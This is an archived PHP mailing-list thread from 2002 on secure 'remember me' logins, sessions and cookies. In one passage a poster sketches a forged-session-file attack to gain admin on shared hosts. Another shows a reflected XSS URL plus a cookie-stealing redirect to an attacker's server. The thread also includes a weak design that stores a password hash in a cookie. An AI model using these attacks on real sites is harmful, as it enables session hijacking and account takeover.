RE: [PHP] Sessions / logins / cookies / security
Sure, why not? Users can't create session variables (unless you're on a virtual server...) ... and I am -- A shared host server that is. Now I'm not sure on this, I haven't tested it. Has anyone? If we're on a virtual server, why can't I just open the session.save_path with PHP and read all of the files. Determine which one is yours and try to determine which variables you are saving. Say you are setting $_SESSION['logged_in'] = 1 and $_SESSION['admin'] = Yes. Then your session file will look like a serialized version of the $_SESSION array. So say I figure out which ones are yours. I use a PHP script to write my own bad_session_file.whatever in the session folder. Then I call up your web page with www.example.com?PHPSESSID=bad_session_file and PHP will load up the session file I just created and make me an admin... Like I said, I haven't tested it though. Safe mode might protect against this, not sure. Anyone have any experience here? ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
on 17/07/02 6:51 PM, John Holmes ([EMAIL PROTECTED]) wrote: ... and I am -- A shared host server that is. Now I'm not sure on this, I haven't tested it. Has anyone? Is this particular vulnerability only in existence when the server is pretty open? I mean, on my particular host, I can't FTP to anything outside my docroot, and I can't use SSH, telnet, etc. phpinfo() says my session.save-path is /tmp -- since (in theory) I can't get the files via telnet, FTP or HTTP, the only option I can think of would be another user on the host gaining access to it via a PHP script... which I'm not sure can be done, and can't really test, because I wouldn't know how to do it. Justin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
... and I am -- A shared host server that is. Now I'm not sure on this, I haven't tested it. Has anyone? Is this particular vulnerability only in existence when the server is pretty open? I mean, on my particular host, I can't FTP to anything outside my docroot, and I can't use SSH, telnet, etc. That's for you, but when you run a PHP script, you run it as user Apache, www, nobody, etc...however your system is set up (if PHP is a module). phpinfo() says my session.save-path is /tmp -- since (in theory) I can't get the files via telnet, FTP or HTTP, the only option I can think of would be another user on the host gaining access to it via a PHP script... which I'm not sure can be done, and can't really test, because I wouldn't know how to do it. Yes, the attack could only come from someone on the same server. That's why dedicated servers are preferred and why safe_mode is used on virtual aervers. Safe_mode may protect the sessions, too, not sure. ? $_SESSION['Logged_On'] = 1; $_SESSION['Admin'] = 1; $s = serialize($_SESSION); $fp = fopen(/tmp/bad_session.file,w); fwrite($fp,$s); fclose($fp); ? http://www.yoursite.com?PHPSESSID=bad_session I don't have a virtual server environment to actually test this out with, though...and it would require a lot of work from the hacker...but what else do they have to do. Get a dedicated server...they really aren't that expensive anymore. ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
snip What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. /snip This solution is no garantuee that the authenticated user is in control during that session. The only thing you realy *know* is that there was a succesful authentication at the beginning of the current session and you would *assume* that the user is at the client screen during the complete session. (the authenticated user could leave the browser unattended). snip Now, when they close the browser and come back, I want them to still be authenticated. /snip The only thing you *know* for sure is that there was a valid authentication during some *previous* session. And that *some* user has still access to that client based on some client specific authentication (pressing ESC during Windows login dialog). So what's your definition of 'authenticated'. snip What's the most secure way, that's not easily spoofed? /snip My point is this. You will never know for sure if the authenticated user is still in control in whatever session (not even the first). If you realy need to be sure, you would use authentication more than once during a session. For example a first time login and then again just before the user wants to post or read important information. If this is of no concern to your application, than it will be no problem to use cookies with some session identifier to allow continuing without authentication during the next session. But it might be wise to force authentication if a user where to enter some kind of admin area of your site during the second session. Success René -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Sessions / logins / cookies / security
I asked something similar a little while ago, but didn't do a good job clarifying. What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. Now, when they close the browser and come back, I want them to still be authenticated. Obviously, I have to set a cookie. But what do I set? Do I set just their user ID? The MD5 of their password? What's the most secure way, that's not easily spoofed? I don't know that much about cookies, but if I just use a user ID, couldn't someone just change that ID value and 'become' another user? Thanks for any advice, Chad -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
Anyone? Can someone at least point me to some web article for recommendations? I saw some examples where a password variable was stored, but is that really safe (as long as I MD5 it first?) Chad -Original Message- From: Chad Day [mailto:[EMAIL PROTECTED]] Sent: Tuesday, July 16, 2002 12:30 PM To: [EMAIL PROTECTED] Subject: [PHP] Sessions / logins / cookies / security I asked something similar a little while ago, but didn't do a good job clarifying. What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. Now, when they close the browser and come back, I want them to still be authenticated. Obviously, I have to set a cookie. But what do I set? Do I set just their user ID? The MD5 of their password? What's the most secure way, that's not easily spoofed? I don't know that much about cookies, but if I just use a user ID, couldn't someone just change that ID value and 'become' another user? Thanks for any advice, Chad -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. Now, when they close the browser and come back, I want them to still be authenticated. I don't think this can be a secure authentication. By relying on a cookie for the authentication, the computer is being authenticated, not the user. So anyone using the machine will be seen as authenticated. Anyone who finds the cookie on a particular machine can place it on their own machine, then their machine becomes authenticated. If you need secure, real authentication, proof of the user's identity, the user has to be asked to login each visit, IMO. In theory, only they know their username and password. Am I understanding the goal? Kirk -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
There really isn't a good way to do this, I think. Any time you're taking just a cookie, and using that data to assume who the user is, it's open to hijacking. I can sniff the cookie or maybe find a cross-site scripting bug to steal it, create the same cookie on my machine, and poof, i'm that user. Now, if it's just for a forum, or something simple, then just do it. It's not worth worrying about someone hijacking my forum user. Anyway, the best way to create the unique id is to use uniqid() in combo with md5(). That'll give you a 32 character string that's hard to predict and isn't based on any of the user data. www.php.net/uniqid ---John Holmes... - Original Message - From: Chad Day [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, July 16, 2002 3:30 PM Subject: RE: [PHP] Sessions / logins / cookies / security Anyone? Can someone at least point me to some web article for recommendations? I saw some examples where a password variable was stored, but is that really safe (as long as I MD5 it first?) Chad -Original Message- From: Chad Day [mailto:[EMAIL PROTECTED]] Sent: Tuesday, July 16, 2002 12:30 PM To: [EMAIL PROTECTED] Subject: [PHP] Sessions / logins / cookies / security I asked something similar a little while ago, but didn't do a good job clarifying. What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. Now, when they close the browser and come back, I want them to still be authenticated. Obviously, I have to set a cookie. But what do I set? Do I set just their user ID? The MD5 of their password? What's the most secure way, that's not easily spoofed? I don't know that much about cookies, but if I just use a user ID, couldn't someone just change that ID value and 'become' another user? Thanks for any advice, Chad -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
Chad Day wrote: What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. Now, when they close the browser and come back, I want them to still be authenticated. Obviously, I have to set a cookie. But what do I set? Do I set just their user ID? The MD5 of their password? What's the most secure way, that's not easily spoofed? I don't know that much about cookies, but if I just use a user ID, couldn't someone just change that ID value and 'become' another user? Chad, It sounds like you already have a good idea about the insecurity of the method you mentioned. For the most part, trust your instincts, especially when something seems insecure. :-) You just need to try to come up with a method that is difficult to break. Use your creativity, and for each method you can think of, consider what steps must be taken to break the security of that method. There is always a way, but changing the user ID isn't very difficult to achieve. The cookie is a good idea, but the value of the cookie is what you need to think about. If its value is, as you mentioned, a user ID, someone could try to guess another valid user ID to impersonate another user. Remember that the cookie is data coming from the client that should not be trusted at all. Take the same precautions against client data as you would candy from a stranger; it doesn't mean it's necessarily bad candy, but you need to create some methods to give yourself pretty good assurance that it's not poisoned, etc. You want to inspect it. In your case, you want to create some methods of assuring, to a reasonable extent, that the cookie is coming from the same client as before. With each connection, there are several things you can check, and you can decide whether its more appropriate to store the data you want to check on the client or on the server. For example, if you were to store the IP address in the cookie also, then someone would have to be coming from the same IP address as before (it would seem). Of course, an observant attacker would change the value of this cookie to their own IP to see if that helped them bypass this check, which it would. What if, instead, you stored the IP address on the server in a database associated with the unique ID? Then you can at least be fairly assured that this value cannot be changed. Another option for you might be to encrypt the IP address and keep it in the cookie. This way, if someone else tried to use the same cookie, their IP address would have to appear to be the same (which of course would happen if it's the same computer). Other information you can get from the client includes the browser type, date, etc. The more things you check, and the more difficult you make it for the client to change this data (otherwise your checks aren't very useful), the more difficult you make impersonation. Just make sure to also cater to your legitimate users, which hopefully there will be more of. :-) If your users connect through a large LAN with multiple proxies, their IP address may fluctuate. Dialup users may have fluctuating IPs as well. If you require someone who fails your checks to only provide their password to continue, then the hassle you give your legitimate users is very minimal, and they might appreciate knowing you're looking out for the safety of their data. These are just some ideas. You're ultimately the best person to decide what security model is best for your needs. Like I said, try to be creative and trust your instincts. A good procedure might be to design what you think is a sufficiently strong and useful security model for your needs and ask the list to come up with hypothetical methods that could be used to break it. If the attacks seem very easy to accomplish, you might need to rethink your methods. Anyway, my point is that you want to educate yourself enough that *you* design the security of your site. Trusting others for your security is no better than trusting candy from strangers. :-) Happy hacking. Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
On my sites, I have a check box next to the login form which says remember me. If they tick this box, and they userid/password is valid, I set a cookie on their system which remembers them, which is just their username and an md5() of their pasword (the same data I add to the session). When maintaining the session, I first check if there is a $_SESSION['uid'] and $_SESSION['pwd'] -- if there is, I validate them (check against the db). If not, I then look for them in my cookie... if they exist, I validate them (check against the db), and assign them to the session. So, if there is no uid and pwd in $_SESSION, I check in $_COOKIE. If there's nothing there, they aren't logged in as far as I can tell. On every page I validate the uid and pwd against the database, so the only way you could fake being another user is to know the uid AND md5()'d pwd. Justin French on 17/07/02 2:30 AM, Chad Day ([EMAIL PROTECTED]) wrote: I asked something similar a little while ago, but didn't do a good job clarifying. What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. Now, when they close the browser and come back, I want them to still be authenticated. Obviously, I have to set a cookie. But what do I set? Do I set just their user ID? The MD5 of their password? What's the most secure way, that's not easily spoofed? I don't know that much about cookies, but if I just use a user ID, couldn't someone just change that ID value and 'become' another user? Thanks for any advice, Chad -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
So, if there is no uid and pwd in $_SESSION, I check in $_COOKIE. If there's nothing there, they aren't logged in as far as I can tell. On every page I validate the uid and pwd against the database, so the only way you could fake being another user is to know the uid AND md5()'d pwd. Or steal it. :) I hope you have checked your site for any cross-site scripting vulnerabilities. This is exactly where vulnerabilities like this come into play... ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
On Wed, Jul 17, 2002 at 10:43:24AM +1000, Justin French wrote: I set a cookie on their system which remembers them, which is just their username and an md5() of their pasword (the same data I add to the session). OUCH! Sending the password back out to the net is a scarry prospect. --Dan -- PHP classes that make web design easier SQL Solution | Layout Solution | Form Solution sqlsolution.info | layoutsolution.info | formsolution.info T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y 4015 7 Av #4AJ, Brooklyn NY v: 718-854-0335 f: 718-854-0409 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
on 17/07/02 11:11 AM, Analysis Solutions ([EMAIL PROTECTED]) wrote: On Wed, Jul 17, 2002 at 10:43:24AM +1000, Justin French wrote: I set a cookie on their system which remembers them, which is just their username and an md5() of their pasword (the same data I add to the session). OUCH! Sending the password back out to the net is a scarry prospect. Interesting -- I haven't actually implemented this on a live site, but was about to in the next few days... might hold off :) How else can you verify the user in a remember me situation? Justin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
on 17/07/02 11:11 AM, John Holmes ([EMAIL PROTECTED]) wrote: Or steal it. :) I hope you have checked your site for any cross-site scripting vulnerabilities. This is exactly where vulnerabilities like this come into play... Interesting -- I'm only a few days away from launching this... could you elaborate on the potential risk, or point me to some documentation? Thanks heaps, Justin French -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
Or steal it. :) I hope you have checked your site for any cross-site scripting vulnerabilities. This is exactly where vulnerabilities like this come into play... Interesting -- I'm only a few days away from launching this... could you elaborate on the potential risk, or point me to some documentation? Just search google for Cross Site Scripting and you'll find a ton of articles about that specifically. It all comes down to validating user input and not displaying it directly back to the screen. Here is a link, for example, that'll pop up your cookies for cnn.com. (watch the wrapping!) http://cnn.looksmart.com/r_search?lizchqc=col=cnniqm=0st=1nh=10rf =1venue=allkeyword=qp=search=0key=%3Cscript%3Ealert%28%27Hi%27%29%3 B%3C%2Fscript%3E Now, how about instead of just executing alert(Hi), I do a location.href='www.myserver.com?var='+document.cookie; and send myself your cookie. Then I just simply make my cookie match yours, and poof, I'm you. :) It all comes down to validating user input and never showing it directly back to the browser/screen. Similar problems exist for variables you use in database queries... ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
Thanks heaps John, So as a basic rule, having a uid and pwd stored as session variables is NOT the problem, but storing the uid and/or pwd in a cookie on the browser is just plain asking for it :) So, how do you implement a remember me safely? Setting JUST the uid in a cookie prevents people from knowing the pwd, but I have to validate the user before granting access to pages... without a pwd, it seems, e, impossible :) Justin Just search google for Cross Site Scripting and you'll find a ton of articles about that specifically. It all comes down to validating user input and not displaying it directly back to the screen. Here is a link, for example, that'll pop up your cookies for cnn.com. (watch the wrapping!) http://cnn.looksmart.com/r_search?lizchqc=col=cnniqm=0st=1nh=10rf =1venue=allkeyword=qp=search=0key=%3Cscript%3Ealert%28%27Hi%27%29%3 B%3C%2Fscript%3E Now, how about instead of just executing alert(Hi), I do a location.href='www.myserver.com?var='+document.cookie; and send myself your cookie. Then I just simply make my cookie match yours, and poof, I'm you. :) It all comes down to validating user input and never showing it directly back to the browser/screen. Similar problems exist for variables you use in database queries... ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
So as a basic rule, having a uid and pwd stored as session variables is NOT the problem, but storing the uid and/or pwd in a cookie on the browser is just plain asking for it :) You shouldn't even have to do this. Just set a $_SESSION['logged_on'] variable to true and check for that. Why carry around the username and password?? So, how do you implement a remember me safely? You don't, if you have anything to protect. If it's just for a forum or convenience and might just cause a little headache is someone's user is hijacked, then you can do it with a cookie. Setting JUST the uid in a cookie prevents people from knowing the pwd, but I have to validate the user before granting access to pages... without a pwd, it seems, e, impossible :) Why do people insist on it being something related to the username and password. Just use uniqid() and md5() to create a unique id for the use, save it in their table, and use that in the cookie. If you base it off of something, it makes it easier to crack... ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
on 17/07/02 12:35 PM, John Holmes ([EMAIL PROTECTED]) wrote: You shouldn't even have to do this. Just set a $_SESSION['logged_on'] variable to true and check for that. Why carry around the username and password?? Well, I guess it's because I started with someone else's script, and built my own from there. Not being a security expert, I assumed that they did this for a reason. Are you saying that setting $_SESSION['logged_on'] after I've validated their login (once) is just as safe as $_SESSION['uid'], $_SESSION['pwd'] ? Interesting stuff... So the real problem with sessions is hijacking the session ID, not fake $_SESSION vars. I guess I need to look into session hijacking next. So, how do you implement a remember me safely? You don't, if you have anything to protect. If it's just for a forum or convenience and might just cause a little headache is someone's user is hijacked, then you can do it with a cookie. What about if the cookie was set under https / SSL Why do people insist on it being something related to the username and password. Just use uniqid() and md5() to create a unique id for the use, save it in their table, and use that in the cookie. If you base it off of something, it makes it easier to crack... Good point. Thanks for your advice. Justin French -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
You shouldn't even have to do this. Just set a $_SESSION['logged_on'] variable to true and check for that. Why carry around the username and password?? Well, I guess it's because I started with someone else's script, and built my own from there. Not being a security expert, I assumed that they did this for a reason. Are you saying that setting $_SESSION['logged_on'] after I've validated their login (once) is just as safe as $_SESSION['uid'], $_SESSION['pwd'] ? Sure, why not? Users can't create session variables (unless you're on a virtual server...) Interesting stuff... So the real problem with sessions is hijacking the session ID, not fake $_SESSION vars. Correct. The good thing with sessions is that they only last for as long as the browser is open. So you can't come back and hijack a user. You'd have to do it at the same time that the user is online. I guess I need to look into session hijacking next. So, how do you implement a remember me safely? You don't, if you have anything to protect. If it's just for a forum or convenience and might just cause a little headache is someone's user is hijacked, then you can do it with a cookie. What about if the cookie was set under https / SSL It makes it secure from sniffing... I don't think it would help for a cross site scripting vulnerability, though... ---John Holmes... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessions / logins / cookies / security
on 17/07/02 1:05 PM, John Holmes ([EMAIL PROTECTED]) wrote: Sure, why not? Users can't create session variables (unless you're on a virtual server...) ... and I am -- A shared host server that is. Justin French -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Sessions / logins / cookies / security
I came across the same problem a few week ago, and thought (didn't do it though) that the best way to handle this kind of security, would be to make an ID/cookie for the user/session which deletes itself after the browser is closed, but not storing the password. Then, if that same user wants to open a new session in other computer at the same time, I would have a *REPLICATION* script which looks up that user and tells him that he already has an open session and that should type the password again (like Hotmail does). Makes sense? C. -Original Message- From: 1LT John W. Holmes [mailto:[EMAIL PROTECTED]] Sent: Tuesday, July 16, 2002 4:51 PM To: Chad Day; [EMAIL PROTECTED] Subject: Re: [PHP] Sessions / logins / cookies / security There really isn't a good way to do this, I think. Any time you're taking just a cookie, and using that data to assume who the user is, it's open to hijacking. I can sniff the cookie or maybe find a cross-site scripting bug to steal it, create the same cookie on my machine, and poof, i'm that user. Now, if it's just for a forum, or something simple, then just do it. It's not worth worrying about someone hijacking my forum user. Anyway, the best way to create the unique id is to use uniqid() in combo with md5(). That'll give you a 32 character string that's hard to predict and isn't based on any of the user data. www.php.net/uniqid ---John Holmes... - Original Message - From: Chad Day [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, July 16, 2002 3:30 PM Subject: RE: [PHP] Sessions / logins / cookies / security Anyone? Can someone at least point me to some web article for recommendations? I saw some examples where a password variable was stored, but is that really safe (as long as I MD5 it first?) Chad -Original Message- From: Chad Day [mailto:[EMAIL PROTECTED]] Sent: Tuesday, July 16, 2002 12:30 PM To: [EMAIL PROTECTED] Subject: [PHP] Sessions / logins / cookies / security I asked something similar a little while ago, but didn't do a good job clarifying. What I'm looking to do is when a user logs in, I start up the session.. I then have the registered session var to verify they are authenticated as they move throughout the site. Now, when they close the browser and come back, I want them to still be authenticated. Obviously, I have to set a cookie. But what do I set? Do I set just their user ID? The MD5 of their password? What's the most secure way, that's not easily spoofed? I don't know that much about cookies, but if I just use a user ID, couldn't someone just change that ID value and 'become' another user? Thanks for any advice, Chad -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
